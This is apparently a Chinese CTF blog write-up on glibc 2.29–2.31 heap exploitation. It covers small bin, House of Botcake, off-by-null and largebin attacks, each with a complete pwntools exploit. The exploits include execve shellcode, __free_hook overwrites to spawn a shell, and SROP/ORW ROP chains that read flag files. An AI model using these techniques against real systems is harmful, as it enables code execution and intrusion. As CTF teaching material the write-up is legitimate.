PWN November 26, 2020

glibc2.29-2.31刷题

Words count 96k Reading time 1:27 Read count 0

一、small bin attack

祥云杯babyheap

分析下程序的流程

image-20201126234306694

image-20201126234319116

在menu前面还有个vmmap申请出内存,然后往里面存flag的操作,我们来看看:image-20201126234241496

这里会放flag到内存中,然后在flag上方放入随机数,接着打印出随机数的地址给我们

接着我们分析下这个程序:

calloc

image-20201126234527319

这是一个会清空内存的堆申请操作,而且不按照malloc那种方式优先利用tcache而是另起炉灶从topchunk切割,直到unsorted bin有东西,也会优先考虑unsorted bin,这里申请范围在0x80-0x100之间。

free

image-20201126234757660

问题就在于free时,直接把size的地位置为0,单字节,那么如果申请是0x100大小就形成了uaf。

程序还给了show和edit的机会,最后看下2个特殊的函数:

Consolidate的操作

image-20201126234925247

意味着可以实现将2个堆块从unsorted bin放到small bin中(结合uaf实现small bin的attack)

printf_flag

image-20201126235249731

只有正确写出随机数的值,才会打印出flag,同时有一次malloc的机会,会优先使用tache中的堆块。

那么整体思路就出来了:

1、先把随机数的地址接收过来,我们的目的是改写随机数

2、malloc_consolidate使得放入2个不相邻的堆块到unsorted bin中,且要是0x100大小的

3、利用uaf泄露出堆地址(FD指针不能变)和真实地址(获取到main_arena+xx的值)

4、改写smallin中的最后一个堆块的bk指针为victim-0x10,同时使得tacahe中有6个堆块

5、再次calloc即可实现small bin的attack

6、接着就可以在任意一个堆块写入已经知道的main_arena+xx的值来打印flag了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
# context.terminal=['tmux','splitw','-h']
context(arch='amd64', os='linux')
# context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote('112.126.71.170',43652)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)
#more onegadget
#one_gadget -l 200 /lib/x86_64-linux-gnu/libc.so.6
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6)
# one32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))

# shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8) # vtable
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

def get_io_str_jumps_offset(libc):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
# print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

def house_of_orange_payload(libc, libc_base):
io_str_jump = libc_base + get_io_str_jumps_offset(libc)
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh)
return payload

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))

# with open('1.txt','wb+') as f:
# s = ""
# for i in shellcode:
# s += "0x" + i.encode("hex")
# for i in s:
# f.write(i)


def calloc(size):
ru("4: Enjoy scenery")
sl('1')
ru("size:")
sl(str(size))
def free(index):
ru("4: Enjoy scenery")
sl('2')
ru("idx:")
sl(str(index))
def edit(index,content):
ru("4: Enjoy scenery")
sl('3')
ru("idx:")
sl(str(index))
ru("chat:")
sd(content)
def show(index):
ru("4: Enjoy scenery")
sl('4')
ru("idx:")
sl(str(index))
def edit2(content,flag):
ru("4: Enjoy scenery")
sl('5')
if flag==0:
sl(content)
else:
ru("input idx")
sl('0')
def consolidate():
ru("4: Enjoy scenery")
sl('666')

ru("A gift from ChangChun People")
victim = int(rc(13),16)-0x10
print "victim--->" + hex(victim)

calloc(0x100)
calloc(0xff)
free(1)
calloc(0x100)
for i in range(6):
calloc(0xff)
free(2)
free(0)
free(1)
consolidate()
show(1)
ru('see')
rc(1)
heap = u64(rc(6).ljust(8,'\x00'))
print "heap--->" + hex(heap)
show(0)
ru('see')
rc(1)
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x1e4da0
print "libc_base--->" + hex(libc_base)

malloc_hook = libc_base + libc.sym["__malloc_hook"]
fake_chunk = malloc_hook - 0x23
onegadget = libc_base + one64[2]
realloc = libc_base + libc.sym["realloc"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()

edit2('aaaa',0)
# debug(0)
py = ''
py += p64(heap)+p64(victim)
edit(1,py)
calloc(0x100)
# debug(0)
value = libc_base + 0x1e4da0
edit(0,p64(value))
edit2(p64(value),1)

p.interactive()

二、House of bocake

祥云杯garden

image-20201126232352029

image-20201126232328413

保护全开,然后看下各个函数:

magic_add

image-20201126232457007

这里有一次机会切割chunk,得到0x20大小,肯定是设定好的~

magic_free

image-20201126232438455

这里有一次uaf的机会

add函数

image-20201126232626669

没有什么问题,只是size是不可控,固定0x100大小,然后free正常,show函数也正常,没有edit函数。

利用思路:

1、先free一个不是尾巴的堆块到unsorted bin中,再show出地址(利用uaf的漏洞来free)

2、利用堆风水布局,实现0x20申请切割堆块,在申请即可实现overlap堆块,然后把overlap的堆块和uaf的堆块都放到tache中,再申请overlap的堆块实现写free_hook为system即可实现getshell

利用的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#coding=utf8
from pwn import *
# from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
# context(arch='i386', os='linux')
local = 1
elf = ELF('./garden')
if local:
p = process('./garden')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)
# one = [0x45216,0x4526a,0xf02a4,0xf1147]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def add(index,content):
ru(">> ")
sl('1')
ru("tree index?")
sl(str(index))
ru("tree name?")
sd(content)
def free(index):
ru(">> ")
sl('2')
ru("tree index?")
sl(str(index))
def show(index):
ru(">> ")
sl('3')
ru("tree index?")
sl(str(index))
def magic_malloc():
ru(">> ")
sl('6')
def magic_free(index):
ru(">> ")
sl('5')
ru("which tree do you want to steal?")
sl(str(index))

for i in range(9):
add(i,'a'*8)
# magic_malloc()
for i in range(2,9,1):
free(i)
magic_free(1)
show(1)
rc(1)
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x1e4ca0
print "libc_base--->" + hex(libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"]
fake_chunk = malloc_hook - 0x23
# onegadget = libc_base + one64[2]
realloc = libc_base + libc.sym["realloc"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()
free(0)
for i in range(2,9):
add(i,'/bin/sh\x00'*8)
magic_malloc()

add(0,'a')
for i in range(2,7):
free(i)
free(1)
free(0)
add(0,p64(free_hook)*0x20)
add(4,'a')
add(5,p64(system))
free(8)

p.interactive()

三、offbynull

balsnCTF

image-20201127223433327

保护全开,然后开了沙箱,只能orw

image-20201127223818802

我们看看add函数

image-20201127223601996

size不限制大小,然后可以有个offbybull的漏洞

然后看下free函数:

image-20201127223938527

发现没有问题,再看看show函数:

image-20201127224015023

可以打印出地址,但是前面也提到了,就是offbynull会造成0截断,很麻烦,无法直接泄漏,直接通过unsorted bin切割到上面才行。

只有一个offbynull漏洞,还是比较麻烦的,但是可以通过largebin的attack实现残留指针的利用,具体思路如下:

1、先放一个堆块B到largebin中再申请fastbin(0x20)即可得到largebin的残留指针,写入size头,并修改fd_nextsize的尾字节,使得fd_nextsize的倒数第二个字节为\x00(offbynull导致的),指向前一个堆块,这里1/16概率爆破,堆风水布局也需要注意

2、先将堆块A(0x20)放到fastbin中,再将堆块B(0x20)放到fastbin,使得B的fd指针(presize的位置)残留有指针,同时申请得到就可以改写B堆块的fd指针尾字节使得指向自己了

3、先把堆块A(0x20)和C(0x20)放到fastbin中,再malloc_consolidate放到smallbin,使得A的bk指针残留C地址,同时申请得到这2个堆块,修改使得A的bk指针尾字节指向B

完整的堆布局如下:

image-20201127231225337

4、利用offbynull触发overlap堆块,中间夹杂tcache的堆块

5、通过切割使得main_arena地址来到堆的fd指针,可以实现泄漏真实地址

6、由于overlap所以触发伪uaf效果,使得大堆块可以吃小堆块,同时可以通过show函数打印free状态的tcache得到堆地址

7、通过overlap实现改tcache的fd指针为free_hook,再次申请写入magic_gadget

8、再申请一个堆块写入srop的payload

9、free掉这个堆块即可getshell

下面是完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./note1')
if local:
p = process('./note1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
#onegadget18(libc-2.27.so) 0x4f322 0x4f2c5 0x10a38c
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def add(size,content):
ru("Choice: ")
sl('1')
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)
def free(index):
ru("Choice: ")
sl('2')
ru("Idx: ")
sl(str(index))
def show(idx):
ru("Choice: ")
sl('3')
ru("Idx: ")
sl(str(idx))
def pwn_it():
for i in range(14):
add(0x10,'\n')
add(0x68,'\n')
add(0x78,'\n')
for i in range(5):
add(0xc0,'\n')
add(0xe0,'\n')
add(0xe0,'\n')
add(0x10,'\n')
add(0x68,'\n')
add(0x10,'\n')
add(0x68,'\n')
add(0x6ab0,'\n')
add(0x21,'\n')#54
add(0x420,'\n')#55
add(0x68,'\n')#56
add(0x68,'\n')#57
add(0x4f8,'\n')#58
add(0x21,'\n')#59
free(55)
add(0x21,p64(0)+p64(0x501))#55
for i in range(7):
add(0x21,'\n')#60-66
for i in range(7):
free(60+i)#60-66
free(54)
free(55)
# debug(0)
for i in range(7):
add(0x21,'\n')#60-66
add(0x21,'\x40')
add(0x21,'kkkk')
#66
#64
for i in range(7):
add(0x21,'\n')
for i in range(7):
free(67+i)
# debug(0)
add(0x150,'h')
free(64)
free(66)
add(0x430,'\n')
for i in range(7):
add(0x21,'\n')
add(0x21,p64(0)+'\x40')
add(0x21,'iiiiiii')
# debug(0)
free(57)
add(0x68,'a'*0x60+p64(0x500))
free(58)
# debug()
add(0x410,'h')
# debug(0x00000000000000DAB)
show(56)
libc_base = u64(rc(6).ljust(8,'\x00'))-0x70-libc.sym['__malloc_hook']
print "libc_base---->" + hex(libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"]
fake_chunk = malloc_hook - 0x23
realloc = libc_base + libc.sym["realloc"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()
setcontext = libc_base + libc.sym["setcontext"]
pop_rax_ret = libc_base + 0x000000000004a550
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c1e1
pop_rdi_ret = libc_base + 0x0000000000026b72
syscall_ret = libc_base + 0x0000000000066229
magic_gadget = libc_base + 0x00000000001547a0
#0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
ret = libc_base + 0x00000000000c1479

add(0x68,'\n')
add(0x68,'j')
add(0x4f8,'h')
free(56)
free(57)
show(77)
# debug(0)
heap_addr = u64(rc(6).ljust(8,'\x00'))-0x470
print "heap_addr_addr--->" + hex(heap_addr)
pay_start = heap_addr+0xec0

def srop_pay():
pay = ''
pay += p64(0) + p64(pay_start)
pay = pay.ljust(0x20,'\x00')
pay += p64(setcontext+33)
pay = pay.ljust(0x68,'\x00')
pay += p64(0)
pay += p64(pay_start)
pay += p64(0)
pay += p64(0)
pay += p64(0x110)
pay = pay.ljust(0xa0,'\x00')
pay += p64(pay_start)
pay += p64(syscall_ret)
pay = pay.ljust(0xe0,'\x00')
pay += p64(pay_start)
return pay

def orw_pay():
pay = ''
pay += p64(pop_rdi_ret)
pay += p64(pay_start+0x100)
pay += p64(pop_rsi_ret)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x2)
pay += p64(syscall_ret)
pay += p64(pop_rdi_ret)
pay += p64(3)
pay += p64(pop_rsi_ret)
pay += p64(heap_addr)
pay += p64(pop_rdx_r12_ret)
pay += p64(0x40)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x0)
pay += p64(syscall_ret)
pay += p64(pop_rdi_ret)
pay += p64(1)
pay += p64(pop_rsi_ret)
pay += p64(heap_addr)
pay += p64(pop_rdx_r12_ret)
pay += p64(0x40)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x1)
pay += p64(syscall_ret)
pay = pay.ljust(0x100,'a')
pay += './flag\x00\x00'
return pay

add(0x68,'\n')
add(0x68,'j')
free(62)
free(63)
free(58)
# debug(0)
py = ''
py += 'a'*0x40
py += p64(0) + p64(0x31)
py += p64(free_hook)
add(0x410,py)

add(0x21,'h')
py = ''
py += p64(magic_gadget)
add(0x21,py)

py = srop_pay()
add(0x420,py)#79
# debug(0x0000000000000BC2)
free(79)
orw = orw_pay()
sl(orw)

i = 0
while 1:
print i
i += 1
try:
pwn_it()
except EOFError:
p.close()
if local:
p = process('./note1')
libc = elf.libc
else:
p = remote('121.40.246.48',9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
break
p.interactive()

1/16自己写个爆破脚本即可~

四、largebin attack

网鼎杯线下赛orwheap

image-20201127210112202

这题没开pie,而且got表可以改,保护开的还算友好,但是程序开了沙箱:

image-20201127211202640

直接禁用了execve函数和64位下的open,这里明显是orw打印flag的操作,自然想到是劫持freehook的操作,然后open没有就是用openat(257),记住第二个参数才是flag路径,1,3置为0即可,或者转成32位再去调用(比较麻烦些)。

看下程序的主要功能:

image-20201127210057074

先来看看calloc:

image-20201127210420386

我们经过前面的做题,已经清楚了,calloc除了讨厌tcache外,其他和malloc是一模一样的,所以他是会优先考虑fastbin、unsortedbin和small bin的,而不是tcache,这里size是任意大小。

再看看free

image-20201127210947429

明显的uaf,但是只能用2次,有flag 的次数限制

然后show函数和edit函数正常的函数,这里过,下面思考下怎么做这题:

1、只有2次free,明显可以用来构造出largebin attack实现往fakechunk的fd_nextszie写入堆地址

2、先free一个堆块到largebin中,实现泄漏出真实地址和堆地址

3、改写bk_nextsize为fakechunk-0x20,实现往fakechunk写堆地址实现任意次数free

4、利用uaf构造fastbin attack到bss段上,利用stderr的0x7f作为size头,达到unlink一样的效果

5、改写堆地址为free_hook,edit时往freehook写入magic_gadget

6、往堆上部署srop的payload,再free

7、输入orw的payload即可

下面是完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./pwn7')
if local:
p = process('./pwn7')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
#onegadget18(libc-2.27.so) 0x4f322 0x4f2c5 0x10a38c
# py32 = fmtstr_py(offset ,{xxx_got:system_callocr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.py(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(callocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+callocr)))
else:
gdb.attach(p,"b *{}".format(hex(callocr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)

def calloc(idx,size,content):
ru("Choice:\n")
sl('1')
ru("index>> ")
sl(str(idx))
ru("size>> ")
sl(str(size))
ru("name>> ")
sd(content)

def free(idx):
ru("Choice:\n")
sl('2')
ru("index>> ")
sl(str(idx))

def edit(idx,content):
ru("Choice:\n")
sl('3')
ru("index>> ")
sl(str(idx))
ru("name>> ")
sd(content)

def show(idx):
ru("Choice:\n")
sl('5')
ru("index>> ")
sl(str(idx))


calloc(0,0x450,'a')
calloc(1,0x20,'b')
calloc(2,0x430,'c')
free(0)
calloc(3,0x500,'l')
show(0)
malloc_hook = u64(rc(6).ljust(8,b'\x00'))-0x470
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()
setcontext = libc_base + libc.sym["setcontext"]
pop_rax_ret = libc_base + 0x000000000004a550
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c1e1
pop_rdi_ret = libc_base + 0x0000000000026b72
syscall_ret = libc_base + 0x0000000000066229
magic_gadget = libc_base + 0x00000000001547a0
#0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
ret = libc_base + 0x00000000000c1479
fake_chunk = 0x404080
fast_fake = 0x4040bd
print "libc_base -->" + hex(libc_base)
edit(0,'a'*0x10)
show(0)
ru("aaaaaaaaaaaaaaaa")
heap_addr = u64(rc(3).ljust(8,'\x00'))
print "heap--->" + hex(heap_addr)
pay_start = heap_addr + 0x1300
def srop_pay():
pay = ''
pay += p64(0) + p64(pay_start)
pay = pay.ljust(0x20,'\x00')
pay += p64(setcontext+33)
pay = pay.ljust(0x68,'\x00')
pay += p64(0)
pay += p64(pay_start)
pay += p64(0)
pay += p64(0)
pay += p64(0x110)
pay = pay.ljust(0xa0,'\x00')
pay += p64(pay_start)
pay += p64(syscall_ret)
pay = pay.ljust(0xe0,'\x00')
pay += p64(pay_start)
return pay

def orw_pay():
pay = ''
pay += p64(pop_rdi_ret)
pay += p64(0)
pay += p64(pop_rsi_ret)
pay += p64(pay_start+0x100)
pay += p64(pop_rdx_r12_ret)
pay += p64(0)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(257)
pay += p64(syscall_ret)
pay += p64(pop_rdi_ret)
pay += p64(3)
pay += p64(pop_rsi_ret)
pay += p64(heap_addr)
pay += p64(pop_rdx_r12_ret)
pay += p64(0x40)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x0)
pay += p64(syscall_ret)
pay += p64(pop_rdi_ret)
pay += p64(1)
pay += p64(pop_rsi_ret)
pay += p64(heap_addr)
pay += p64(pop_rdx_r12_ret)
pay += p64(0x40)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x1)
pay += p64(syscall_ret)
pay = pay.ljust(0x100,'a')
pay += '/home/pwn/flag\x00\x00'
return pay
py = ''
py += p64(malloc_hook+0x470)*2
py += p64(heap_addr) + p64(fake_chunk-0x20)
edit(0,py)
free(2)
calloc(4,0x500,'d')
for i in range(5,13):
calloc(i,0x68,'a')
free(i)
edit(12,p64(fast_fake))
calloc(13,0x68,'a')
py = ''
py += 'a'*0x13 + p64(0x450) + p64(free_hook)
calloc(14,0x68,py)
edit(0,p64(magic_gadget))
calloc(15,0x500,srop_pay())
debug(0x000000000401667,0)
free(15)
sl(orw_pay())
p.interactive()
0%